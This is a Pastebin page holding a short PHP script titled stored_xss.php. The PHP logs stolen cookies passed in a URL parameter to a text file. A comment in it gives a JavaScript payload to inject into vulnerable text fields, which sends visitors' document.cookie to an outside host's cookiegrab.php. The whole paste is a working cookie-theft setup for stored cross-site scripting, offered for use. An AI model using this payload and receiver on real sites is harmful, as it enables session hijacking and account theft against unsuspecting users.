Advertisement
nissim_abehcera

stored_xss.php

Jan 27th, 2020
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.28 KB | None | 0 0
  1.  
  2. <?php
  3.  
  4.     $cookie = $_GET["c"];
  5.     $file = fopen('cookie.txt', 'a');
  6.     fwrite($file, $cookie . "\n\n");
  7.     /*
  8.     inject
  9.     <script language="javascript"> document.location= " http://kennethzhang.net/cookiegrab.php?c=" + document.cookie; </script>
  10.     into vulnerable text fields
  11.     */
  12. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement